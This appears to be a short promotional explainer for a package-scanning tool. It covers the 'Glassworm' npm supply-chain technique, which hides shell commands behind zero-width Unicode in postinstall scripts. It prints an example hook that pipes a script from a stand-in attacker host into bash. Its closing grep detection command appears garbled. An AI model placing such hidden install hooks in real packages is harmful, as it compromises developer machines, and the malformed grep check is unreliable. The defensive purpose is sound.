Glassworm

How it works

JavaScript and most terminals treat zero-width Unicode characters (like U+200B, the zero-width space) as invisible — they don't render and don't affect text appearance. But the shell sees them. An attacker can embed an entire command after an invisible character, making a benign-looking script actually execute additional malicious code.

What it looks like

What you see in your editor:

"postinstall": "node setup.js"

What's actually in the file (revealed in a hex editor):

"postinstall": "node​ setup.js && curl https://attacker.com/c2.sh | bash"

The zero-width space (U+200B) is invisible. The && and everything after it runs silently on install.

The 2026 Glassworm campaign

In March 2026, security researchers identified the Glassworm campaign — a coordinated attack using this technique against npm packages targeting developer workstations. Affected packages installed a multi-stage RAT (Remote Access Trojan) that force-installed a malicious Chrome extension to log keystrokes and steal session cookies.

The campaign was notable because standard security tools — npm audit, Dependabot, even most static analysis tools — had no detection for invisible Unicode in scripts.

How to detect Glassworm

PackageFix scans every field in your manifest for non-printable Unicode characters before running any vulnerability checks. If invisible characters are found, you get an immediate red banner: "Invisible Unicode characters detected in this manifest — do not use it." The scan stops and the manifest is flagged as potentially compromised.

You can also check manually in your terminal:

cat -A package.json | grep -P '[--]'